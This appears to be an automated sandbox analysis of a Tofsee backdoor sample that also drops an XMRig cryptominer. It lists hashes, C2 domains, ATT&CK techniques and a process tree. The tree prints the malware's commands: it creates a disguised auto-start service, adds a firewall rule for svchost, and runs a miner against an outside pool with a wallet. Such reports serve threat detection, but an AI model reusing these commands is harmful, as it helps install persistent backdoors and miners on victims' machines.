Analysis

  • max time kernel
    151s
  • max time network
    165s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    12-06-2022 09:01

General

  • Target

    44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7.exe

  • Size

    215KB

  • MD5

    c0fd38c620b6444d29518f81c916e2fe

  • SHA1

    8afc3ae7c5fdba88ab25342d6d9c07377158d914

  • SHA256

    44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7

  • SHA512

    4642b8db6d9c7406d39a024afc61e9cec8b2123fa30ab79ef589fb4ddca703c5acb7d810b069cd12d0435ccc63f437dfbcec801e94c457327327c621054c030f

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7.exe
    "C:\Users\Admin\AppData\Local\Temp\44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3220
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\htgslutb\
      2⤵
        PID:4744
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zxvtxbtu.exe" C:\Windows\SysWOW64\htgslutb\
        2⤵
          PID:5052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create htgslutb binPath= "C:\Windows\SysWOW64\htgslutb\zxvtxbtu.exe /d\"C:\Users\Admin\AppData\Local\Temp\44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description htgslutb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start htgslutb
          2⤵
          • Launches sc.exe
          PID:4820
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3620
      • C:\Windows\SysWOW64\htgslutb\zxvtxbtu.exe
        C:\Windows\SysWOW64\htgslutb\zxvtxbtu.exe /d"C:\Users\Admin\AppData\Local\Temp\44a9f6c4afa42d63229d179c1697a3350224c2f272fb6605f310ca1dd05866a7.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4200
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4952
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4756

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zxvtxbtu.exe
        Filesize

        11.3MB

        MD5

        8b875e53718cb4efd3e827d109697e28

        SHA1

        f4aa76dcd4e3172dfc9fd3a0359b43061589673e

        SHA256

        ee3a38dcb1029f3b43ed955efcc020f0330a11a1f5363c157756a65379721860

        SHA512

        b3be55433df42945eda9844f1f2cda7603a4c43c1173ae2bcd0c403c5cdbabf2b450815b39b41330fce4a2f800c3cc9894dd0cb27bc419af3472512d40a14718

      • C:\Windows\SysWOW64\htgslutb\zxvtxbtu.exe
        Filesize

        11.3MB

        MD5

        8b875e53718cb4efd3e827d109697e28

        SHA1

        f4aa76dcd4e3172dfc9fd3a0359b43061589673e

        SHA256

        ee3a38dcb1029f3b43ed955efcc020f0330a11a1f5363c157756a65379721860

        SHA512

        b3be55433df42945eda9844f1f2cda7603a4c43c1173ae2bcd0c403c5cdbabf2b450815b39b41330fce4a2f800c3cc9894dd0cb27bc419af3472512d40a14718

      • memory/1540-187-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-186-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-181-0x0000000000000000-mapping.dmp
      • memory/1540-182-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-184-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-185-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/1540-183-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-138-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-241-0x00000000007D0000-0x00000000007E3000-memory.dmp
        Filesize

        76KB

      • memory/3220-128-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-129-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-130-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-131-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-134-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-135-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-136-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-133-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-132-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-137-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-117-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-139-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-140-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-141-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-142-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-143-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-144-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-145-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-146-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-147-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-148-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-149-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-150-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-151-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-153-0x00000000008AA000-0x00000000008B8000-memory.dmp
        Filesize

        56KB

      • memory/3220-152-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-155-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-162-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-156-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-157-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3220-158-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-159-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-166-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-161-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-163-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-164-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-154-0x00000000007D0000-0x00000000007E3000-memory.dmp
        Filesize

        76KB

      • memory/3220-127-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-160-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-167-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-244-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3220-165-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-240-0x00000000008AA000-0x00000000008B8000-memory.dmp
        Filesize

        56KB

      • memory/3220-118-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-119-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-120-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-121-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-122-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-123-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-124-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-125-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3220-126-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/3620-238-0x0000000000000000-mapping.dmp
      • memory/3988-192-0x0000000000000000-mapping.dmp
      • memory/4200-275-0x0000000000906000-0x0000000000913000-memory.dmp
        Filesize

        52KB

      • memory/4200-277-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/4200-292-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/4200-289-0x0000000000906000-0x0000000000913000-memory.dmp
        Filesize

        52KB

      • memory/4200-276-0x0000000000660000-0x000000000070E000-memory.dmp
        Filesize

        696KB

      • memory/4744-168-0x0000000000000000-mapping.dmp
      • memory/4744-172-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4744-171-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4744-169-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4744-173-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4744-170-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/4756-524-0x000000000116259C-mapping.dmp
      • memory/4820-203-0x0000000000000000-mapping.dmp
      • memory/4952-281-0x0000000001099A6B-mapping.dmp
      • memory/4952-359-0x0000000001090000-0x00000000010A5000-memory.dmp
        Filesize

        84KB

      • memory/4952-489-0x0000000001090000-0x00000000010A5000-memory.dmp
        Filesize

        84KB

      • memory/5052-176-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/5052-174-0x0000000000000000-mapping.dmp
      • memory/5052-179-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/5052-175-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/5052-177-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB

      • memory/5052-178-0x0000000077C40000-0x0000000077DCE000-memory.dmp
        Filesize

        1.6MB